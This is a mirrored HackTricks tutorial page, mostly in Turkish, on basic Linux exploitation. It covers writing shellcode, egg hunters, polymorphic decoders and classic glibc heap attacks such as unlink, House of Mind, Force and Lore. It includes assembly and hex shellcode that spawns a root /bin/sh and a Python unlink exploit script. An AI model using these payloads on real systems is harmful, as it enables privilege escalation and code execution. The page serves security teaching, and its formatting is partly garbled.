mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
498 lines
28 KiB
Markdown
498 lines
28 KiB
Markdown
# Linux Exploiting (Temel) (TUR)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||
- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; eax'ı temizle\
|
||
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Sistem çağrısını yürüt
|
||
|
||
**nasm -f elf assembly.asm** —> Bir .o dosyası döndürür\
|
||
**ld assembly.o -o shellcodeout** —> Derlenmiş kodu içeren yürütülebilir dosyayı verir ve **objdump** ile opcode'ları çıkarabiliriz\
|
||
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
|
||
|
||
**Shellcodenin çalıştığını kontrol etmek**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
```markdown
|
||
Para doğru sistem çağrılarının yapıldığını görmek için önceki program derlenmeli ve sistem çağrıları **strace ./DERLENMİŞ_PROGRAM** içinde görünmelidir.
|
||
|
||
Shellcode'lar oluştururken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve ayrıca EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi yerleştirdik, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz.
|
||
|
||
ÖR **HİLE (/bin/sh)**:
|
||
```
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**Stack Kullanarak EIP Kontrolü:**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Yumurta Avcısı:**
|
||
|
||
Bir işleme ilişkilendirilen bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır.
|
||
|
||
**Polimorfik Shellcode'lar**
|
||
|
||
Küçük kodlarla şifrelenmiş kabuklardır ve bunları çözen ve onlara atlayan küçük kodlar içerirler, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5. Ek Yöntemler**
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
###
|
||
|
||
|
||
|
||
|
||
|
||
## **8 Heap Taşmaları: Temel Saldırılar**
|
||
|
||
**Ayrılmış Parça**
|
||
|
||
prev\_size |\
|
||
size | —Başlık\
|
||
\*mem | Veri
|
||
|
||
**Boş Parça**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | İleri parça işaretçisi\
|
||
\*bk | Geri parça işaretçisi —Başlık\
|
||
\*mem | Veri
|
||
|
||
Boş parçalar çift bağlı bir liste içindedir (bin) ve hiçbir zaman yan yana iki boş parça olamaz (birleştirilirler).
|
||
|
||
"size" içindeki bitler şunları belirtir: Önceki parça kullanımda mı, parça mmap() ile ayrıldı mı ve parça ana alana mı ait.
|
||
|
||
Bir parça serbest bırakıldığında, yanındaki parçalardan herhangi biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve daha büyük yeni parça frontlink() e geçirilir ve uygun bin içine eklenir.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> Yeni parçanın BK'sı önceden boş olanın BK'si olur\
|
||
FD = P->fd; —> Yeni parçanın FD'si önceden boş olanın FD'si olur\
|
||
FD->bk = BK; —> Sonraki parçanın BK'sı yeni parçaya işaret eder\
|
||
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder\
|
||
}
|
||
|
||
Bu nedenle, P->bk'yi bir shellcode'un adresiyle ve P->fd'yi GOT veya DTORS'taki bir girişin adresi eksi 12 ile değiştirebilirsek şunlar gerçekleşir:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
Ve böylece programdan çıkarken shellcode çalıştırılır.
|
||
|
||
Ayrıca, unlink()'in 4. ifadesi bir şey yazıyor ve shellcode bunun için düzeltilmelidir:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı bunu atlamak ve shellcode'un geri kalanına gitmek için bir jmp olmalıdır.
|
||
|
||
Bu nedenle, saldırı şu şekilde oluşturulur:
|
||
|
||
Buffer1'e shellcode eklenir, nops'a veya shellcode'un geri kalanına düşmesi için bir jmp ile başlar.
|
||
|
||
Shellcode'un ardından, bir sonraki parçanın prev\_size ve size alanına ulaşana kadar doldurma yapılır. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin üzerine yazılması) ve "-4" (0xfffffffc) size'a yazılır (3. parçanın 2. parçanın gerçekte boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev\_size'a gider) -> Bu şekilde, free() kontrol ettiğinde 3. parçanın size'ına gidecek ancak gerçekte 2. parçanın - 4'e gidecek ve 2. parçanın boş olduğunu düşünecek. Ve sonra **unlink()** çağrılacak.
|
||
|
||
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verileri kullanılacağından, buraya üzerine yazılacak adres - 12 olacak (çünkü FD->bk'da FD'de saklanan adrese 12 ekleyecek). Ve bu adrese, 2. parçada bulunan ikinci adresi ekleyeceğiz, bu da shellcode'un adresi olacak (sahte P->bk).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de doldurma**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması önemli**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3. parçanın size'ının 4 bayt geride olduğunu düşünmesi için (prev\_size'ı işaret eder) çünkü 2. parçanın boş olup olmadığını kontrol ederken buraya bakar**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Payload'da başta 8 bayt doldurma olacak**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #free() fonksiyonunun adresi plt-12 (shellcode'u çalıştırmak için üzerine yazılacak adres) **
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Payload'ın başında 8 bayt doldurma olacak**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2. parça değiştirilir, got\_free, saklanacak adresin (addr\_sc + 12) nereye işaret edeceğini gösterir**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() (wargame'de) ters sırada serbest bırakma**
|
||
|
||
Üç ardışık parçayı kontrol ediyoruz ve rezerve edildiği sıranın tersine serbest bırakılıyor.
|
||
|
||
Bu durumda:
|
||
|
||
c parçasına shellcode yerleştirilir
|
||
|
||
a parçasını, a parçasının boş olduğunu düşünmesi için size'da PREV\_INUSE bitini devre dışı bırakacak şekilde üzerine yazmak için kullanırız.
|
||
|
||
Ayrıca, b başlığında size değeri -4 olacak şekilde üzerine yazılır.
|
||
|
||
Bu durumda, program "a"nın boş olduğunu ve bir binde olduğunu düşünecek ve onu çözmek için unlink() çağrılacak. Ancak, çünkü başlık PREV\_SIZE -4 değerine sahip, "a" parçasının aslında b+4'te başladığını düşünecek. Yani, b+4'te başlayan bir parçayı çözecek, bu da b+12'de "fd" işaretçisi ve b+16'da "bk" işaretçisi olacak.
|
||
|
||
Bu şekilde, bk'ya shellcode'un adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak koyarsak, payload'ımız hazır olur.
|
||
|
||
**Frontlink Tekniği**
|
||
|
||
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
|
||
|
||
Saldırılan malloc hiçbir zaman serbest bırakılmazsa (free()) yararlı bir zayıflık.
|
||
|
||
Gereksinimler:
|
||
|
||
Veri girişi işleviyle taşma yapılabilen bir tampon
|
||
|
||
Bu tampona bitişik serbest bırakılacak ve başlık alanındaki fd'si taşma tamponundan dolayı değiştirilecek bir tampon
|
||
|
||
512'den büyük ancak önceki tampondan küçük bir boyuta sahip serbest bırakılacak bir tampon
|
||
|
||
Bu adımlardan önce tanımlanmış bir tampon, bu sayede iki malloc'a kontrolsüz bir şekilde ve biri kontrol edilerek üzerine yazma yaparak bir saldırı gerçekleştirilebilir.
|
||
|
||
**Çift free() Zayıflığı**
|
||
|
||
Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.
|
||
|
||
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, aynı alan atanır, bu da önceki rezervasyonun yazacağı verilerle yanıltılmış "fd" ve "bk" işaretçilerine sahip olacağımız anlamına gelir.
|
||
|
||
**free() Sonrası**
|
||
|
||
Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde tekrar kullanılır.
|
||
## **8 Heap Taşmaları: İleri Düzey Saldırılar**
|
||
|
||
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
|
||
|
||
**Zihin Evi**
|
||
|
||
Kodun keyfi olarak yürütülmesini sağlamak için sadece bir free() çağrısı gereklidir. Bir önceki parçayı taşımak ve serbest bırakmak için taşan bir ikinci parça aramak önemlidir.
|
||
|
||
Bir free() çağrısı, public\_fREe(mem) fonksiyonunu çağırır, bu fonksiyon:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Parçanın başladığı adresi (mem-8) döndürür
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
\[1] kısmında, NON\_MAIN\_ARENA bitini kontrol eder, bu biti değiştirerek kontrolün true dönmesini sağlayabilir ve heap\_for\_ptr() fonksiyonunu çalıştırabiliriz. Bu işlem, "mem" üzerinde bir and işlemi yaparak en az önemli 2.5 baytı sıfırlar (örneğin, 0x0804a000 adresinde 0x08000000 bırakır) ve 0x08000000->ar\_ptr adresine erişir (struct heap\_info gibi).
|
||
|
||
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve **0x081002a0** adresinde bir parça serbest bırakılacaksa 0x08100000 adresine ulaşabilir ve istediğimizi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap\_for\_ptr(ptr)->ar\_ptr'nin 0x08100000 adresine yazdığımızı görecektir (çünkü önceki and işlemi uygulanır ve buradan ilk 4 baytın değeri, yani ar\_ptr alınır).
|
||
|
||
Bu şekilde \_int\_free(ar\_ptr, mem) çağrılır, yani **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Daha önce gördüğümüz gibi av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçaya yazdığımız değerdir.
|
||
|
||
unsorted\_chunks fonksiyonunun tanımına göre biliyoruz ki:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Bu nedenle av->bins\[2] adresine \_\_DTOR\_END\_\_-12 adresini yazarsak, son komutta \_\_DTOR\_END\_\_ adresine ikinci parçanın adresi yazılacaktır.
|
||
|
||
Yani, ilk parçaya \_\_DTOR\_END\_\_-12 adresini başa birçok kez koymamız gerekiyor, çünkü av->bins\[2] buradan değeri alacak.
|
||
|
||
İkinci parçada ve birinci parçanın yardımıyla prev\_size'a bir 0x0c ataması ve size'a -> NON\_MAIN\_ARENA'ı etkinleştirmek için bir değer yazıyoruz.
|
||
|
||
Sonra, parça 2'ye bir sürü nops ve sonunda shellcode ekliyoruz.
|
||
|
||
Bu şekilde \_int\_free(TROZO1, TROZO2) çağrılacak ve \_\_DTOR\_END\_\_ adresine TROZO2'nin prev\_size adresi yazılacak ve shellcode'a atlayacak.
|
||
|
||
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
|
||
|
||
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedefin de kendisine işaret edilip edilmediği kontrol edilir.
|
||
|
||
**Fastbin**
|
||
|
||
Zihin Evi'nin bir varyantıdır
|
||
|
||
İlk \_int\_free() fonksiyonunun ilk kontrolünden sonra ulaşılan kodu yürütmek istiyoruz.
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
Bu şekilde, "fb" adresi GOT'taki bir fonksiyonun adresini gösteriyorsa, bu adrese üzerine yazılacak olan parça adresi konulacaktır. Bunun için arenanın dtor adreslerine yakın olması gerekmektedir. Daha doğrusu, av->max\_fast'in üzerine yazılacak olan adreste olması gerekmektedir.
|
||
|
||
Zihin Evi ile arenanın konumunu kontrol edebileceğimizi gördüğümüz için.
|
||
|
||
Bu durumda, size alanına 8 + NON\_MAIN\_ARENA + PREV\_INUSE boyutunu yazarsak, fastbin\_index() bize fastbins\[-1] adresini döndürecektir, bu da av->max\_fast adresine işaret edecektir.
|
||
|
||
Bu durumda av->max\_fast üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan) adres olacaktır.
|
||
|
||
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
|
||
|
||
Ayrıca, bu sahte parça av->system\_mem'den küçük olmalıdır. av->system\_mem, bu konumdan 1848 bayt uzakta bulunmaktadır.
|
||
|
||
\_DTOR\_END\_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres değildir, bu yüzden pili hedeflemek için fastbin'i nasıl kullanacağımıza bakalım.
|
||
|
||
Başka bir saldırı şekli, **av**'yi pile yönlendirmektir.
|
||
|
||
Size değerini 8 yerine 16 yaparsak: fastbin\_index() bize fastbins\[0] döndürecektir ve bunu kullanarak pile yazabiliriz.
|
||
|
||
Bunun için pile canary veya garip değerler olmamalıdır, aslında şu şekilde olmalıdır: 4 bayt null + EBP + RET
|
||
|
||
4 bayt null, **av**'nin bu adreste olacağı ve bir **av**'nin ilk öğesinin 0 olması gerektiği anlamına gelir.
|
||
|
||
**av->max\_fast**, EBP olacak ve bizi kısıtlamalardan geçirecek bir değer olacak.
|
||
|
||
**av->fastbins\[0]** adresi **p**'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlanacak.
|
||
|
||
Ayrıca, **av->system\_mem** (pile göre 1484 bayt yukarıda) üzerinde, kontrolü atlamamıza izin verecek birçok çöp olacaktır.
|
||
|
||
Serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
|
||
|
||
**Ruh Evi**
|
||
|
||
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip olmak istiyoruz (örneğin, işaretçinin bir değişken üzerindeki taşmaya işaret ettiği yığında olması).
|
||
|
||
Böylece, bu işaretçiyi istediğimiz yere işaret edecek şekilde yapabiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max\_fast'tan küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında talep edilen boyuta 8 eklenmelidir. Bu nedenle, bu savunmasız işaretçiden sonra bir malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
|
||
```markdown
|
||
Si örneğin program kullanıcıdan bir sayı istiyorsa, 48 girebilir ve değiştirilebilir malloc işaretçisini (şans eseri EBP'ye ait olabilecek 4 bayt sonrasına) işaretleyebiliriz, böylece 48 geride kalır, sanki başlık boyutu gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system_mem olmalıdır.
|
||
|
||
Bu koşul sağlandığında, söylediğimiz gibi malloc(40) çağrıldığında, EBP'nin adresi olarak EBP'nin adresi atanır. Saldırganın bu malloc'ta ne yazılacağını da kontrol edebilmesi durumunda hem EBP hem de EIP'nin istediği adrese yazılabilir.
|
||
|
||
Bunu, free() işlevi çağrıldığında, yeni malloc() için rezerve edilmek istenen mükemmel boyutta bir parça olduğunu kaydedeceği için yapar, bu nedenle o adrese atanır.
|
||
|
||
**The House of Force**
|
||
|
||
Gerekli olanlar:
|
||
|
||
* Wilderness'ı üzerine yazabileceğimiz bir parça taşma
|
||
* Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
|
||
* Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı
|
||
|
||
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) değiştiririz, böylece yeterince büyük bir bellek isteği \_int\_malloc() içinde heap'i genişletmeden işlenecektir.
|
||
|
||
İkincisi, av->top'un saldırganın kontrolü altındaki bir bellek bölgesine, örneğin stack'e, işaret etmesini sağlamak için av->top'u değiştiririz. av->top'a \&EIP - 8 konulur.
|
||
|
||
Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u değiştirmemiz gerekmektedir:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck_at_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve kalan tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı ile toplamıdır. Dolayısıyla, \&EIP-8 0xbffff224 adresindeyse ve av->top 0x080c2788 adresini içeriyorsa, av->top'un bir sonraki malloc() için \&EIP-8'e işaret etmesini istediğimizde kontrol edilen malloc için rezerve edilmesi gereken bayt miktarı şudur:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Bu şekilde değiştirilmiş değer av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir.
|
||
|
||
Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan istekten daha büyük olması önemlidir. Yani, eğer wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak stack'in EBP alanında olacaktır.
|
||
|
||
**The House of Lore**
|
||
|
||
**SmallBin Bozulması**
|
||
|
||
Serbest bırakılan parçalar, boyutlarına göre bir bine yerleştirilir. Ancak, unsorted bins'e önce yerleştirilirler. Bir parça serbest bırakıldığında hemen binine konulmaz, unsorted bins'te kalır. Daha sonra, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça ona hizmet edebilirse, o parça geri verilir, ancak daha büyük bir parça rezerve edilirse, unsorted bins'teki serbest bırakılan parça uygun binine konulur.
|
||
|
||
Kodun savunmasız hale gelmesi için bellek isteği av->max_fast'tan büyük (genellikle 72) ve MIN_LARGE_SIZE'dan (512) küçük olmalıdır.
|
||
|
||
Eğer binde istenilen boyutta bir parça varsa, bu parça çözülüp geri verilir:
|
||
|
||
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
|
||
|
||
bin->bk = bck; Önceki parça son parça olur, bck stack'e işaret ediyorsa, bir sonraki rezerve edilen parçaya bu adres verilecektir.
|
||
|
||
bck->fd = bin; Liste kapatılır ve bu bin'e işaret edilir.
|
||
|
||
Gerekli olanlar:
|
||
|
||
İkinci parçanın serbest bırakıldıktan sonra taşma yapılabilmesi için iki malloc rezerve edilmesi gerekmektedir (yani taşma yapmadan önce ikinci parçadan daha büyük bir malloc rezerve edilmiş olmalıdır)
|
||
|
||
Saldırganın seçtiği adrese verilen adresi kontrol edebileceği bir malloc rezerve edilmelidir.
|
||
|
||
Hedef şudur, bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve binine konulmuş bir parça varsa, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça bin listesinde ilk parça haline gelirse ve rezerve edilirse, bin yanıltılacak ve listenin son parçasının (teklif edilen sonraki parça) yanlış adreste olduğuna inanacaktır (örneğin stack veya GOT). Bu nedenle, başka bir parça rezerve edilirse ve saldırganın izinleri varsa, istenen konumda bir parça alacak ve üzerine yazabilecektir.
|
||
|
||
Değiştirilmiş parçanın serbest bırakılmasından sonra serbest bırakılan parçadan daha büyük bir parça rezerve edilmesi gerekmektedir, böylece değiştirilmiş parça unsorted bins'ten çıkar ve uygun binine konulur.
|
||
|
||
Uygun binine konulduğunda, taşma yaparak bk işaretçisini değiştirmenin zamanı gelir, böylece istediğimiz adrese işaret eder.
|
||
|
||
Bu saldırının mümkün olduğu kadar hızlı gerçekleşmesi için ideal olan şudur: Savunmasız parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, değiştirilecek parçadan daha büyük bir parçanın rezervasyonu, parçanın değiştirilmesi (savunmasızlık), savunmasız parçadan aynı boyutta bir parça ve ikinci bir parça rezervasyonu yapılır ve bu, istenen adrese işaret eden parça olacaktır.
|
||
|
||
Bu saldırıyı korumak için, parçanın "sahte olmadığı" tipik bir kontrol kullanılır: bck->fd'nin victim'a işaret ettiği kontrol edilir. Yani, bizim durumumuzda, stack'te işaret edilen sahte parçanın fd\* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, stack'te muhtemelen, doğru adrese victim'ın adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.
|
||
|
||
**LargeBin Bozulması**
|
||
|
||
Önceki gereksinimlerin yanı sıra, rezerve edilen parçaların 512'den büyük olması gerekmektedir.
|
||
|
||
Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gereklidir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu değiştirmek gerekmektedir, böylece bu boyut - nb < MINSIZE olur.
|
||
|
||
Örneğin, 1552 boyutunda bir parça koyarak 1552 - 1544 = 8 < MINSIZE olacak şekilde boyutu değiştiririz (çıkarma işlemi negatif olmamalıdır çünkü unsigned karşılaştırma yapılır).
|
||
|
||
Ayrıca, işi daha da karmaşık hale getirmek için bir yama eklenmiştir.
|
||
|
||
**Heap Spraying**
|
||
|
||
Temelde, tüm mümkün belleği heap'ler için rezerve etmek ve bunları bir shellcode ile biten bir nops yastığı ile doldurmaktır. Ayrıca, yastık olarak 0x0c kullanılır. Yani, 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yastıkla çağrılacak bir adrese yazılırsa oraya atlanacaktır. Temel olarak taktik, bir noktaya kadar rezerve etmek ve herhangi bir işaretçiyi üzerine yazıp yazmadığını görmektir ve 0x0c0c0c0c adresine atlamayı ummaktır.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Belleği rezerve ederek ve serbest bırakarak belleği sementlemek ve serbest parçalar arasında rezerve edilmiş parçalar bırakmak anlamına gelir. Taşmaya neden olacak tampon bir yumurtanın içine yerleştirilir.
|
||
|
||
**objdump -d executable** —> Fonksiyonları ayrıştırır\
|
||
**objdump -d ./PROGRAMA | grep FUNCTION** —> Fonksiyon adresini alır\
|
||
**objdump -d -Mintel ./shellcodeout** —> Shellcode'un bizimkisi olduğunu ve OpCodes'leri almak için
|
||
```
|
||
```html
|
||
**objdump -t ./exec | grep varBss** —> Değişkenlerin ve fonksiyonların adreslerini almak için sembol tablosu\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta üzerine yazılacak puts adresini alır\
|
||
**objdump -D ./exec** —> Tümüne kadar disas\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** gdb'de fonksiyon hakkında bilgi
|
||
|
||
## İlginç Kurslar
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
